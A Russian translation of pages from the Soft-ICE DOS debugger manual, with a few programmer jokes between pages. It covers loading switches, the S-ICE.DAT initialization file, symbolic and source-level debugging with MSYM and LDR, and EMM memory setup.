Команда SS ищет в текущем файле с исходным текстом указанную символьную подстроку. Если имеется соответствие, строка, в которой была найдена подстрока будет выведена как верхняя строка в окне кода.

Поиск начинается с указанного номера строки. Если номер строки не указан, поиск начинается с верхней строки, отображаемой в окне кода.

Если параметры не указаны, продолжается поиск предыдущей указанной строки.

Обратите внимание:

Окно кода должно быть видимо и быть в режиме исходного текста до использования команды SS.

Пример:


 SS 1 'if (i = = 3)'
 

В текущем файле с исходным текстом ищется, начиная со строки 1, подстрока 'if (i = = 3)'. Строка, содержащая следующее совпадение с подстрокой, становится верхней отображаемой строкой в окне кода.

РАЗДЕЛ III -- Поддерживаемые Возможности

ГЛАВА 6

6.1 Введение

Программный файл Soft-ICE (S-ICE.EXE) может быть загружен как загружаемый драйвер устройства в CONFIG.SYS или как программа из командной строки DOS. Для получения всей силы Soft-ICE, он должен быть загружен как драйвер устройства в CONFIG.SYS. Однако, могут иметься обстоятельства, когда вы можете захотеть запустить Soft-ICE из командной строки DOS или пакетного файла, типа:

* У вас нет расширенной памяти в вашей системе. Soft-ICE можно загрузить как загружаемый драйвер устройства, только если у вас есть расширенная память.
* Вы хотите занять НОЛЬ байт обычной памяти. При загрузке как драйвер устройства, Soft-ICE занимает приблизительно 2КБ обычной памяти.
* Вам только иногда необходимо использовать Soft-ICE и нет никаких других программ, использующих расширенную память.

В некоторых случаях вам могут быть нужны некоторые возможности, требующие загрузки Soft-ICE из CONFIG.SYS, но не нужно, чтобы Soft-ICE был постоянно резидентным. В этом случае Soft-ICE может быть загружен из CONFIG.SYS, чтобы зарезервировать расширенную память, и потом отключен переключателем /UN, пока не потребуется Soft-ICE. См. часть 6.3.1 для большей информации относительно переключателя /UN.

6.2 Загрузка из командной строки DOS

Вы НЕ можете активизировать все возможности Soft-ICE при загрузке из командной строки DOS. Если вы будете использовать Soft-ICE как автономный отладчик, рекомендуется загружать Soft-ICE из файла CONFIG.SYS.

Чтобы загрузить Soft-ICE из командной строки DOS, введите


 S-ICE
 

В системах без расширенной памяти, Soft-ICE загружается в самые высокие возможные адреса памяти. Тогда память, используемая Soft-ICE "отрезается", становясь невидимой для программ DOS. Так как общая память, видимая для DOS и ее программ, уменьшается после загрузки Soft-ICE, рекомендуется загружать Soft-ICE до загрузки любых TSR-программ.

В системах с расширенной памятью вы можете загружать Soft-ICE из командной строки DOS, только если вы не используете расширенную память для чего-либо еще (напр. VDISK, CACHE, HIMEM...). Когда вы загружаете Soft-ICE из командной строки или из пакетного файла, Soft-ICE предупредит вас, выдав специальное сообщение. Это предупреждение только напоминает вам, что Soft-ICE перезапишет старшую область расширенной памяти, когда загрузится. Вы можете подавить это предупреждающее сообщение при помощи опции EXTENDED в файле конфигурации Soft-ICE. Для большей информации относительно опции EXTENDED, см. часть 6.4.1.

6.3 Загрузка Soft-ICE как Загружаемого Драйвера Устройства

Чтобы использовать все возможности Soft-ICE, вы должны загрузить Soft-ICE как загружаемый драйвер устройства в вашем файле CONFIG.SYS. При этом становятся доступными следующие возможности:

* Сосуществование с другим программным обеспечением, использующим расширенную память. Загрузка как драйвера устройства позволяет Soft-ICE управлять расширенной памятью, так что вы можете запускать Soft-ICE с программами, использующими расширенную память, такими как VDISK, CACHE и HIMEM.
* Отладка на уровне символов и исходного текста. Загрузка как драйвера устройства позволяет Soft-ICE разместить в расширенный памяти буфер для информации о символах и исходном тексте.
* Диапазоны обратной трассировки и команда SNAP. Загрузка как драйвера устройства позволяет Soft-ICE разместить в расширенный памяти буфер для информации обратной трассировки. Этот буфер также используется для команды Soft-ICE, SNAP.
* Активизация возможностей Soft-ICE по EMM 4.0
* Запуск Soft-ICE с MagicCV или MagicCVW

Заметьте:

Загруженный, как драйвер устройства в CONFIG.SYS, Soft-ICE резервирует старшую область расширенной памяти для себя и связанных с ним компонент, следовательно не может возникнуть конфликтов памяти. S-ICE.EXE должен быть загружен в CONFIG.SYS до любого другого драйвера, резервирующего расширенную память при загрузке (напр. VDISK.SYS, RAMDRIVE.SYS). Вообще Soft-ICE работает наилучшим образом, если он - первый загружаемый драйвер устройства в CONFIG.SYS.

6.3.1 Переключатели Загрузки Soft-ICE

После S-ICE.EXE в CONFIG.SYS может быть указан один или более переключателей загрузки. Эти переключатели позволяют вам указывать, как Soft-ICE будет резервировать расширенную память. Все переключатели должны начинаться символом / . Есть следующие переключатели загрузки:

* /EXT XXXX -- Сообщает S-ICE.EXE зарезервировать XXXX килобайт расширенной памяти для других программ DOS, использующих расширенную память (напр. VDISK, CACHE, HIMEM,...). Если переключатель

/EXT не указан, то расширенная память, не используемая Soft-ICE и связанными с ним компонентами будет оставлена, как стандартная расширенная память, но ее количество нельзя гарантировать. Переключатель /EXT полезен, потому что иногда трудно точно определить, сколько памяти используется Soft-ICE и связанными с ним компонентами. Использование переключателя /EXT будет гарантировать, что указанное количество будет доступно для других программ, использующих расширенную память.

* /SYM XXXX -- Сообщает S-ICE.EXE зарезервировать XXXX килобайт расширенной памяти для символов и исходного текста. Если XXXX не указано, то вся остающаяся расширенная память используется для символов. Должно быть зарезервировано достаточно памяти для вашего файла .SYM и всех исходных текстов. Для большей информации об использовании символов и исходного текста, см. главу 7.

* /TRA XXXX -- Сообщает S-ICE.EXE зарезервировать XXXX килобайт расширенной памяти для буфера истории обратной трассировки. Этот буфер используется для диапазонов обратной трассировки и для команды SNAP. Если XXXX не указано, то для буфера автоматически резервируется 10КБ расширенной памяти. Если вы вообще не хотите резервировать память для буфера обратной трассировки, используйте /TRA 0. Для большей информации об использовании диапазонов обратной трассировки, см. главу 9.

* /MCV XXX -- Сообщает S-ICE.EXE зарезервировать XXX килобайт расширенной памяти для MagicCV или MagicCVW. Минимальный объем расширенной памяти, который вы можете указать - 280КБ и максимум - 620КБ. Если XXX не указано, S-ICE.EXE зарезервирует остающуюся память, между 280КБ и 620КБ. См. главу 10 для большей информации относительно работы Soft-ICE с MagicCV или MagicCVW.

* /EMM XXXX -- Сообщает S-ICE.EXE преобразовать XXXX килобайт расширенной памяти в отображаемую память, соответствующую EMM 4.0. Если указано XXXX, то вся остающаяся память используется как отображаемая. См. главу 8 для большей информации Относительно поддержки отображаемой памяти.

* /UN -- Сообщает S-ICE.EXE перейти в защищенный режим, зарезервировать необходимую расширенную память, затем выйти из защищенного режима и выгрузиться. Этот переключатель должен использоваться, когда вы загружаете S-ICE.EXE как загружаемый драйвер устройства, но не хотите, чтобы ваша система оставалась в защищенном режиме. Этот переключатель зарезервирует память для Soft-ICE, и вы должны выполнить S-ICE.EXE из командной строки DOS, когда вы будете готовы использовать Soft-ICE.

Soft-ICE резервирует расширенную память в следующем порядке, независимо от порядка указанных переключателей:

Резервируется приблизительно 120КБ для S-ICE.EXE.
Резервируется память для переключателя /EXT, если он указан.
Резервируется память для переключателя /SYM, если он указан.
Резервируется память для переключателя /TRA, если он указан.
Если он не указан, по умолчанию резервируется 10КБ для буфера обратной трассировки.
Резервируется память для переключателя /MCV, если он указан.
Резервируется память для переключателя /EMM, если он указан.

Если при попытке зарезервировать память для переключателя в вышеупомянутой последовательности, доступной памяти не хватает, S-ICE.EXE делает следующее:

1. Остающаяся расширенная память резервируется для переключателя, обрабатываемого, когда не хватило памяти.
2. Память не будет резервироваться для оставшихся переключателей.

Заметьте:

Если присутствует переключатель /MCV или /EMM, резервируются дополнительные 64КБ расширенной памяти для буфера поддержки DMA.

Переключатели могут быть указаны в любом порядке после DEVICE = S-ICE.EXE. Пример:


 DEVICE = S-ICE.EXE /TRA50 /EMM 500 /SYM 2048
 

Если доступны четыре мегабайта расширенной памяти, этот пример зарезервирует приблизительно 120КБ для Soft-ICE, 2 мегабайта для символов, 50КБ для буфера истории обратной трассировки, 500КБ для отображаемой памяти и оставит приблизительно 1,3 мегабайта для других программ расширенной памяти. Заметьте, что Soft-ICE загрузится в самую высокую область расширенной памяти, оставив оставшуюся память, начиная с 100000H (мегабайтовая отметка).




Руководство по Soft-ICE (DOS) - 18

- Сколько нужно программистов, чтобы ввернуть лампочку?
- Ни одного: это аппаратная проблема, а они этим не занимаются!

6.4 Файл Инициализации Soft-ICE, S-ICE.DAT

У Soft-ICE есть несколько опций загрузки. Эти опции указываются размещением специальных команд в файле инициализации, называющемся S-ICE.DAT. S-ICE.DAT - текстовый ASCII-файл, который Soft-ICE читает при загрузке. Этот файл может содержать назначения функциональных клавиш, строку автостарта и различные опции конфигурации. Файл может быть создан и отредактирован любым текстовым редактором DOS. При загрузке Soft-ICE из командной строки, S-ICE.DAT должен находиться в текущем каталоге или в каталоге, доступном через вашу текущую переменную PATH. Когда Soft-ICE загружается как драйвер устройства в CONFIG.SYS, S-ICE.DAT должен быть в том же самом каталоге, где находится S-ICE.EXE.

Есть три категории команд, которые могут быть включены в файл инициализации S-ICE.DAT:

* Специальные опции конфигурации
* Назначения функциональных клавиш
* Последовательность команд инициализации

6.4.1 Специальные Опции Конфигурации

Любая из следующих опций конфигурации, которые необходимы, должна быть помещена в отдельную строку в файле S-ICE.DAT.

* COMPAQ -- Компьютер Compaq 386 и 386SX и некоторые Compaq-совместимые компьютеры (включая компьютеры, содержащие материнские платы Micronix) имеющий 384КБ из несмежных участков расширенной памяти. Опция COMPAQ необходима, если вы хотите, что бы Soft-ICE использовал эту память. Заметьте, что опция COMPAQ идентична параметру командной строки /C в Soft-ICE 1.X.

* NOLEDS -- Опция NOLEDS сообщает Soft-ICE не устанавливать и не очищать LED-ы клавиатуры, во время вызова окна Soft-ICE. На некоторых клавиатурах существуют проблемы с таймером, которые будут вызывать у Soft-ICE потерю синхронизации с клавиатурой. Если Soft-ICE зависает, когда вы - в окне Soft-ICE, используйте эту опцию. Заметьте что опция NOLEDS идентична параметру командной строки /L в Soft-ICE 1.X.

* NOTVGA -- Опция NOTVGA позволяет Soft-ICE работать на BIOS-совместимых VGA-картах. Много карт VGA не совместимы с IBM VGA на уровне аппаратных средств. Эти карты поддерживают VGA только на уровне BIOS. Используйте этот переключатель если у вас один из таких видеоадаптеров. Заметьте, что опция NOTVGA - то же самое, что и параметр командной строки /V в Soft-ICE 1.X.

* EXTENDED -- Опция EXTENDED заставляет Soft-ICE загружаться непосредственно в расширенную память без предупреждения пользователя при помощи специального сообщения. Она должна использоваться, если вы загружаете Soft-ICE из командной строки DOS и не хотите вывода сообщения и больше ничего не знаете об использовании расширенной памяти. Заметьте что опция EXTENDED - тот же самое, что и параметр командной строки /E в Soft-ICE 1.X.

6.4.2 Назначения Функциональных Клавиш

Во время загрузки любой функциональной клавише может быть назначена одна или больше команд Soft-ICE. См. описание команды FKEY в части 5.8 (Команды Настройки Отладчика) для описания назначения функциональных клавиш из командной строки Soft-ICE.

Синтаксис для назначения названий функциональных клавиш в S-ICE.DAT:

Название-функциональной-клавиши = "строка" Название-функциональной-клавиши -- F1, F2... F12. строка -- строка может состоять из любых имеющих силу в Soft-ICE команд и специальных символов ^ и ;. ^ помещается в строку, чтобы сделать команду невидимой. ; помещается в строку для обозначения возврата каретки. Строка должна быть заключена в двойные кавычки.

Вот пример назначения функциональной клавиши в S-ICE.DAT:


 F12 = "D 100;"
 

Это назначит команду Soft-ICE, Dump функциональной клавише 12. При нажатии F12 Soft-ICE будет выводить дамп памяти со смещения 100H в текущем сегменте данных. Точка с запятой после 100 представляет клавишу ВВОД.

6.4.3 Последовательность Команд Инициализации

При загрузке Soft-ICE может быть автоматически выполнена группа команд. Это полезно для настройки Soft-ICE под ваши нужды. Например, вы могли бы установить параметры окон и изменить стандартную комбинацию горячих клавиш. Синтаксис для введения последовательности команд инициализации в S-ICE.DAT следующий:


 INIT = "строка-назначения"
 

строка-назначения -- Строка состоит из любых имеющих силу в Soft-ICE команд и специальных символов ^ и ;. ^ помещается в строку, чтобы сделать команду невидимой. ; помещается в строку для обозначения возврата каретки. Строка должна быть заключена в двойные кавычки.

Пример последовательности команд инициализации в S-ICE.DAT:


 INIT = "WIN; WR; WD 1; WC 12; ALTKEY CTRL X;"
 

Этот пример переведет окно Soft-ICE в полноэкранный режим, создаст окно регистров, создаст окно данных высотой в одну строку, создаст окно кода высотой 12 строк и изменит комбинацию горячих клавиш на CTRL X.

Пример S-ICE.DAT

Пример файла инициализации включен в содержимое дистрибутивной дискеты. Этот пример назначает функциональные клавиши так, что они используются в той же манере, как и функциональные клавиши в отладчике Microsoft CodeView. Этот пример S-ICE.DAT также должен использоваться "как есть" для обучающей части в главе 3.

ГЛАВА 7

Отладка на Уровне Символов и Исходного Текста

7.1 Введение
7.2 Подготовка к Отладке на Уровне Символов или Исходного Текста
7.2.1 Подготовка к Отладке Только на Уровне Символов
7.2.2 Подготовка к Отладке на Уровне Символов и Исходного Текста
7.3 Резервирование Памяти для Символов и Исходного Текста
7.4 Загрузка Программ и Файлов с Символами
7.5 Символьная Отладка
7.6 Отладка по Исходному Тексту

7.1 Введение

Soft-ICE может загружать программы, таблицы символов и исходные тексты для расширенной отладки. Символьная отладка позволяет устанавливать точки останова и ссылаться на переменные по символьным именам, не указывая числовые адреса. Отладка по исходному тексту позволяет вам проходить через вашу программу на уровне исходного текста, а не на уровне машинного кода.

Информация о символах и строках исходного текста извлекается из файла с картой связей. Карта связей должна быть совместима с Microsoft linker версии 3.60 или выше.

Символы и исходные файлы расположены в расширенной памяти. У вас должно быть достаточно памяти для символов и исходных файлов. Исходные файлы не читаются с диска, как во многих отладчиках. Это позволяет Soft-ICE обеспечить полную системную отладку на уровне исходного текста. Вы можете отлаживать резидентные обработчики прерываний и другой системный код на уровне исходного текста.

Заметьте:

Вы не можете использовать символьную или отладку по исходному тексту, пока Soft-ICE не загружен как драйвер устройства в CONFIG.SYS.

7.2 Подготовка к Отладке на Уровне Символов или Исходного Текста

До отладки программы с символами или исходным текстом вы должны создать файл символов. Это - двоичный файл, содержащий информацию о символах и номерах строк в формате, который Soft-ICE понимает. Этот файл создается при помощи утилиты MSYM.EXE. MSYM.EXE читает вашу карту связей, чтобы создать файл символов с расширением (.SYM).

7.2.1 Подготовка к Отладке Только на Уровне Символов

Для подготовки программы только к символьной отладке, вы должны выполнить следующие шаги:

1. Скомпилировать или оттранслировать вашу программу.
2. Слинковать вашу программу с надлежащими переключателями, чтобы создать .MAP-файл, который содержит список публичных символов. Если вы используете Microsoft linker, необходимо использовать переключатель /MA. Этот .MAP-файл должен быть идентичен .MAP-файлу, созданному Microsoft linker, версии 3.60 или выше.
3. Создать .SYM-файл, запустив MSYM.EXE. Вот синтаксис для использования MSYM.EXE: MSYM название-программы [.расширение] Если расширение не указано, MSYM принимает расширение .MAP. MSYM читает файл-карту как вход и выдает файл символов как выход. Символьный файл имеет название название-программы.SYM.

Заметьте:

До компилирования или трансляции вашей программы вы можете захотеть сделать публичными некоторые дополнительные символы. При символьной отладке Soft-ICE поддерживает только публичные символы. Методы объявления переменных или меток публичными варьируют в зависимости от того, какой язык вы используете.

На языке ассемблера 8086, укажите директиву PUBLIC, сопровождаемую локально определенными символами, которые вы хотите сделать публичными. Например:


 PUBLIC FOO, LOOP1, STATUS
 

На языке C, все названия процедур и статические переменные, определенные вне блока, являются публичными.

Для других языков, обратитесь к вашему руководству по языку для подробностей.

7.2.2 Подготовка к Отладке на Уровне Символов и Исходного Текста

Для подготовки программы к символьной и отладке по тексту, вы должны выполнить следующие шаги:

1. Скомпилировать или оттранслировать все модули, которые вы хотите отлаживать по исходному тексту с соответствующими переключателями, чтобы поместить информацию о номерах строк в объектные файлы. С языками Microsoft вы можете использовать либо переключатель /Zi либо /Zd. Вы можете не хотеть, проделывать это со всеми файлами, потому что объединенные размеры файла символов и всех исходных файлов, скомпилированных с этими переключателями, должны вписаться в объем расширенной памяти, который вы зарезервировали при помощи переключателя загрузки /SYM в CONFIG.SYS.
2. Слинковать вашу программу с надлежащими переключателями, чтобы создать .MAP-файл, который содержит номера строк исходного текста и список публичных символов. Если вы используете Microsoft linker, необходимо использовать переключатели /LI и /MA. Этот .MAP-файл должен быть идентичен .MAP-файлу, созданному Microsoft linker, версии 3.60 или выше.
3. Создать .SYM-файл, запустив MSYM.EXE. Вот синтаксис для использования MSYM.EXE: MSYM название-программы [.расширение] Если расширение не указано, MSYM принимает расширение .MAP. MSYM читает файл-карту как вход и выдает файл символов как выход. Символьный файл имеет название название-программы.SYM.

7.3 Резервирование Памяти для Символов и Исходного Текста

До загрузки программ, символьных и исходных файлов вы должны зарезервировать расширенную память. Расширенная память резервируется, при загрузке Soft-ICE в CONFIG.SYS. До резервирования расширенной памяти вы можете захотеть сложить размеры .SYM-файла и всех исходных файлов, которые вы хотите загрузить. Вы должны зарезервировать, по крайней мере, столько расширенной памяти. Вы должны использовать переключатель /SYM при загрузке S-ICE.EXE. Вот пример строки в CONFIG.SYS для загрузки Soft-ICE и резервирования места для символов и исходных файлов:


 DEVICE = S-ICE.EXE /SYM 1024
 

Этот пример загружает Soft-ICE в расширенную память и резервирует 1 мегабайт памяти для символов и исходных файлов. См. часть 6.3 (Загрузка Soft-ICE как Загружаемого Драйвера Устройства) для деталей о резервировании памяти.

7.4 Загрузка Программ и Файлов с Символами

Утилита Soft-ICE, LDR.EXE используется для загрузки программ, файлов символов и исходных файлов. Для символьной отладки прикладных программ и T&SR-программ вы обычно будете использовать LDR.EXE, чтобы загрузить программу, символы и исходные файлы за один шаг. Для отладки загружаемых драйверов устройства, ПЗУ и других системных компонент вы обычно будете использовать LDR.EXE, чтобы загрузить только файл символов и исходные файлы. Вот синтаксис для LDR.EXE:




Руководство по Soft-ICE (DOS) - 19

- Я умею торм... торм... тормозить.
WINDOWS:
- А я умею висееееееееее...

LDR название-программы | название-программы.SYM | название-программы.расширение

7.4.1 Загрузка Программы, Символов и Исходного Текста

Для загрузки вашей программы, символов и исходных файлов за один шаг, вы должны использовать LDR.EXE так:


 LDR название-программы
 

Обратите внимание, что название-программы не имеет расширения. Если расширение не указано, LDR.EXE выполнит следующие действия:

1. Загрузит название-программы.SYM в расширенную память
2. Загрузит исходные файлы в расширенную память. Этот шаг выполняется только, если в .SYM-файле есть записи об исходных файлах.
3. Загрузит название-программы.EXE в память, в область, куда бы она загрузилась, если бы была загружена непосредственно из командной строки DOS.
4. Вызовет Soft-ICE с указателем инструкций на первой инструкции вашей программы. Если это - C- программа и для файла, содержащего _MAIN, загружен исходный текст, тогда исходный текст этого файла будет видим в окне кода.

7.4.2 Загрузка только Символов и Исходных Файлов

Если вы хотите загрузить только символы и исходные файлы (например, для отлад- ки загружаемого драйвера устройства), вы должны использовать LDR.EXE так:


 LDR название-программы.SYM
 

Обратите внимание, что расширение .SYM - указано. .SYM-файл и исходные файлы будут загружены в расширенную память. Когда символы загружены таким образом, символы вашей программы или драйвера устройства будут приняты для ссылки с адреса 0:0. Так как это - редкий случай, вы должны будете использовать команду Soft-ICE, SYMLOC для локализации символов. См. описание команды SYMLOC в главе 5.10 для полной информации. Вот пример загрузки файла символов, называющегося DRIVER.SYM:


 LDR DRIVER.SYM
 

7.4.3 Загрузка Программы Без Символов или Исходного Текста

Для загрузки программного файла без загрузки связанного с ним файл символов, вы должны использовать LDR.EXE так:


 LDR название-программы.расширение
 

Обратите внимание, что расширение файла присутствует. Обычно расширение файла будет .EXE или .COM. Когда расширение файла определено, LDR.EXE загрузит программу и вызовет Soft-ICE с указателем инструкций на первой инструкции программы. Вот пример загрузки программы с символами и исходным текстом:


 LDR TEST.EXE
 

Примечания:

LDR.EXE автоматически сохраняет копию таблицы векторов прерываний при загрузке вашей программы. Это эквивалентно выполнению команды VECS S. Если вы хотите выйти из вашей программы до ее завершения, вы можете выполнить EXIT R для выхода из программы и восстановления таблицы векторов прерываний.

Использование LDR.EXE для загрузки только название-программы.EXE часто полезно для рестарта вашей программы, во время сессии отладки по исходному тексту. Для рестарта выполните команду EXIT R, чтобы прервать текущую сессию. Затем используйте LDR.EXE, для повторной загрузки вашего .EXE-файла. Символы: исходный текст не должен загружаться, т.к. он остается в расширенной памяти.

Если LDR.EXE выдает вам сообщение "Out of space loading symbol information", это означает, что вы не зарезервировали достаточно расширенной памяти при помощи переключателя загрузки /SYM в CONFIG.SYS.

Если LDR.EXE не находит ваши исходные файлы в той же директории, что и программа, которую вы загружаете, LDR.EXE попросит указать путь, по которому он может найти исходные файлы. Если у вас исходные файлы в нескольких директориях или вы часто загружаете программу, это становится тяжелым. Вы можете устранить необходимость во вводе, используя переменную окружающей среды DOS, SRC. LDR.EXE использует эту переменную окружающей среды, чтобы найти исходные файлы до обращения к пользователю. Вот синтаксис для установки переменной окружающей среды из командной строки DOS:


 SET SRC = директория;директория;...;директория
 

В каждой из указанных директорий будет произведен поиск до обращения к пользователю.

Ограничения:

Soft-ICE поддерживает символы только для одной программы одновременно. Если вы загружаете новый .SYM-файл, существующий - перезаписывается.
Soft-ICE не поддерживает оверлеи или перемещения сегментов Microsoft Windows.
Soft-ICE распознает только публичные символы и номера строк. Он не поддерживает локальные переменные.

7.5 Символьная Отладка

После того, как вы загрузили вашу программу и .SYM-файл, вы можете начинать символьную отладку вашей программы. Вообще символ может использоваться в любой команде вместо адреса.

Символы также используются несколькими командами Soft-ICE, когда выводятся адреса. Например, команда U выводит символьные имена меток и процедур, когда с ними сталкивается. Есть две команды, которые полезны при символьной отладке:

* SYM -- Используйте команду SYM, чтобы получить список названий и значений символов или изменить значение символа.
* SYMLOC -- Используйте команду SYMLOC, чтобы переместить базу всех ваших символов. Вы будете должны использовать команду SYMLOC когда:

1. Загружаете символы для загружаемого драйвера устройства
2. Загружаете символы для T&SR, который уже загружен
3. Ваша программа перемещает себя в местоположение, отличное от первоначального. См. часть 5. 10 для полного описания этих команд.

7.6 Отладка по Исходному Тексту

Когда загружены исходные файлы, Soft-ICE позволяет вам просматривать и проходить ваш исходный код как при обычной отладке. Soft-ICE предоставляет два разных режима отладки по исходному тексту: смешанный режим и режим исходного текста. Используйте команду SRC для переключения между режимами. Смешанный режим выводит строки исходного текста и код ассемблера, полученный из этих строк исходного текста, совместно. Смешанный режим полезен, когда вы должны отлаживать на уровне ассемблера, но использовать исходный текст для ссылки. Смешанный режим обеспечивается и когда окно кода видимо и когда нет.

Режим исходного текста строго выдает на экран строки исходного текста. Отладка по исходному тексту требует, чтобы окно кода было видимо.

7.6.1 Использование Номеров Строк

Номера строк могут использоваться вместо адресов в нескольких командах. Для отличия номера строки от фактического адреса, поместите знак . (точка) перед номером. Например, чтобы установить точку останова на выполнение в строке исходного текста 450, введите:


 BPX .450
 

7.6.2 Использование Режима Исходного Текста в Окне Кода

Для входа в режим исходного текста, должно быть видимо окно кода. Если оно невидимо, используйте команду WC, чтобы сделать его видимым. Однажды войдя в режим исходного кода, вы можете использовать команды Soft-ICE, переключаться на другой исходный файл, просматривать исходный текст в любом месте файла, пролистывать файл, искать строки в файле и устанавливать точки останова в файле. Для полной информации следующих команд см. их описания в главах 4 и 5. Следующий список - краткий обзор команд, полезных при отладке по исходному тексту:

* Сделать окно кода видимым (если оно еще не видимо) командой WC.
* Переключить между режимом исходного текста, смешанным и режимом кода командой SRC. Для переключения режимов введите: SRC
* Поместить исходный файл в окно кода (если он еще не там) командой FILE. Например, для перехода от текущего файла к файлу MAIN.C введите:


 FILE MAIN.C
 

* Вывести исходный текст с определенной позиции в исходном файле командой U. Чтобы изменить вывод на определенную строку или адрес памяти используйте команду U. Вы можете указывать фактические адреса или номера строк как параметры для команды. Например, чтобы просмотреть исходный текст в окне кода, начиная со строки исходного текста 450, введите:


 U. 450
 

* Найти текущую инструкцию в окне кода командой . (точка).
* Искать определенную символьную строку командой SS. Например, чтобы искать строку "Hello World", начиная со строки 100 в текущем исходном файле, введите:


 SS 100 "Hello World"
 

* Переместить курсор в окно кода (если он еще не там) командой EC.
* Листать исходный текст клавишами вверх, вниз, PageUp, PageDn.
* Установить точку останова типа point-and-shoot командой BPX. Просто поместите курсор в строку исходного текста, на которой вы хотите остановиться, затем введите:


 BPX
 

ГЛАВА 8

8.1 Введение

У Soft-ICE есть менеджер отображаемой памяти, встроенный в его ядро. Менеджер отображаемой памяти Soft-ICE поддерживает спецификацию Lotus-Intel-Microsoft

4.0. Эта возможность Soft-ICE полезна, если вы используете программы, поддерживающие спецификацию EMM или если вы должны нарастить вашу обычную память, чтобы расширить системную память до 640КБ или больше.

Другие контролирующие программы 386, обеспечивающие возможности EMM (типа QEMM или 386-to-the-MAX) не будут работать с Soft-ICE. Если вы используете эти программы для возможностей EMM или наращивания, вы можете использовать вместо них EMM-менеджер Soft-ICE.

Активизация возможностей EMM в Soft-ICE включает следующие шаги:

1. Конфигурирование окружения отображаемой памяти утилитой EMMSETUP.EXE. Эта утилита изменяет S-ICE.EXE с учетом желаемой карты EMM-страниц.
2. Добавление переключателя /EMM в вашу строку S-ICE.EXE в CONFIG.SYS. Это резервирует часть расширенной памяти для отображаемой памяти. Вот пример строки в CONFIG.SYS, резервирующей память для EMM:


 DEVICE = S-ICE.EXE /EMM 2048
 

Будет зарезервировано 2 мегабайта расширенной памяти на использование для EMM. См. часть 6.3 (Загрузка Soft-ICE как Загружаемого Драйвера Устройства) для деталей установки Soft-ICE в CONFIG.SYS.
3. Перезагрузите вашу систему.

8.2 Конфигурирование Окружения EMM

Перед установкой S-ICE.EXE с переключателем /EMM в файл CONFIG.SYS, вам может быть придется запустить EMMSETUP.EXE чтобы сконфигурировать окружение EMM 4.0. Этот процесс конфигурации позволит вам указать, какие участки памяти вы хотели бы сделать доступными как страницы EMM 4.0. Запуск EMMSETUP.EXE сильно рекомендуется, если вы используете программы, требующие все преимущества спецификации EMM 4.0.

8.2.1 Страницы EMM по умолчанию

По умолчанию, S-ICE.EXE с переключателем /EMM - сконфигурирован предоставить страницы EMM 4.0 в следующих областях:

* Нижние 640КБ (кроме 1-х 64КБ)
* 64КБ, начинающиеся с D000H Вы можете захотеть реконфигурировать EMM по следующим причинам:

* У вас может быть устройство типа сети, использующее область памяти с D000H.
* Вы можете захотеть заполнить большее количество "дыр" выше 640КБ страницами EMM. Это увеличит производительность и применимость программ типа Microsoft Windows. Чтобы получить максимальную производительность от Microsoft Windows, вы должны заполнить все доступные страницы отображаемой памятью.



Руководство по Soft-ICE (DOS) - 2

- Сколько инженеров по программному обеспечению из компании "Майкрософт" нужно для того, чтобы выкрутить перегоревшую лампочку и закрутить новую?
- Нисколько. Они просто определят темноту как индустриальный стандарт.

2. Запустите, Soft-ICE из командной строки DOS, набрав


 S-ICE.
 

Прежде, чем фактически загрузиться, Soft-ICE выдаст сообщение о загрузке и командную строку. Для предотвращения вывода этой командной строки, поместите слово EXTENDED в файл S-ICE.DAT. См. часть 6.4 для получения более подробной информации о файле S-ICE.DAT. При использовании этого метода, S-ICE.EXE автоматически загружается в верхнюю точку расширенной памяти, если там еще нет никакой другой программы. Если вы знаете, что у вас нет других программ, использующих расширенную память, этот метод - приемлем. Загруженный этим методом, Soft-ICE занимает НОЛЬ байт основной памяти. Команда, которую вы используете:


 S-ICE
 

Примечания:

Вы НЕ можете активизировать все возможности Soft-ICE при загрузке из командной строки. Если вы будете использовать Soft-ICE как автономный отладчик, рекомендуется загрузить Soft-ICE из CONFIG.SYS.

Если вы хотите загрузить Soft-ICE как драйвер устройства, но не хотите, чтобы Soft-ICE был резидентным все время, вы должны использовать переключатель /UN. Обратитесь к части 6.3.1 для получения большей информации.

2.2.3 Конфигурирование Soft-ICE для Запуска с Установками Пользователя

Вы можете настраивать Soft-ICE при помощи переключателей Soft-ICE в CONFIG.SYS и при помощи файла инициализации Soft-ICE S-ICE.DAT. Переключатели в CONFIG.SYS позволяют указать метод резервирования расширенной памяти, используемый Soft-ICE'ом. Файл инициализации S-ICE.DAT позволяет вам указать опции конфигурации, указать команды, выполняемые по нажатию функциональных клавиш, и определить строку автостарта. Строка автостарта используется, для выполнения ряда команд, которые вы всегда используете при установке Soft-ICE. Для более полной информация о настройке Soft-ICE, обратитесь к главе 6.

2.3 Выгрузка Soft-ICE

Когда-нибудь вам может понадобиться выгрузить Soft-ICE. Типичная причина для выгрузки Soft-ICE - необходимость запуска программы, использующей инструкции защищенного режима 80286 или 80386. Чтобы выгрузить Soft-ICE, введите:


 S-ICE /U
 

Эта команда возвращает машину в реальный режим адресации. Если Soft-ICE был первоначально загружен из CONFIG.SYS, память остается зарезервированной для Soft-ICE и не может использоваться другими программами. Если Soft-ICE первоначально загружен из командной строки, выгрузка освобождает память, используемую S-ICE.EXE.

Предостережение:

Если в вашей системе есть наращенная память или если в настоящее время используется расширенная память, выгрузка Soft-ICE может вызвать зависание ОС.

2.4 Повторная Загрузка Soft-ICE

Soft-ICE может быть повторно загружен в любое время, даже если он был перво- начально загружен из CONFIG.SYS. Если Soft-ICE был загружен из CONFIG.SYS, то первоначальная конфигурация (EMM 4.0, символы и исходный текст ...) остается в силе. Чтобы повторно загрузить Soft-ICE, введите:


 S-ICE
 

ГЛАВА 3

3.1 Введение

Все взаимодействие с Soft-ICE происходит в окне, которое может быть вызвано в любое время. Все команды Soft-ICE помещаются в маленьком окне, но окно может быть увеличено до полного экрана. Обычно вы будете использовать маленькое окно при использовании Soft-ICE в дополнение к другому отладчику и большое окно при использовании Soft-ICE в автономном режиме.

Окно сразу выводится во весь экран, если вы используете файл конфигурации Soft-ICE (S-ICE.DAT), включенный в дистрибутив.

3.2 Вызов Всплывающего Окна

Вы можете вызвать окно в любое время после установки Soft-ICE. По умолчанию Soft-ICE вызывается нажатием клавиш CTRL и D. Однако, эта комбинация может быть изменена, при помощи команды ALTKEY (см. часть 5.8).

3.3 Возврат Из Окна

Вернитесь к первоначальному экрану, используя команду X или комбинацию клавиш, которую вы использовали для вызова Soft-ICE. Любые точки останова, которые вы установили во время работы в Soft-ICE, останутся в силе.

3.4 Изменение Размера Окна

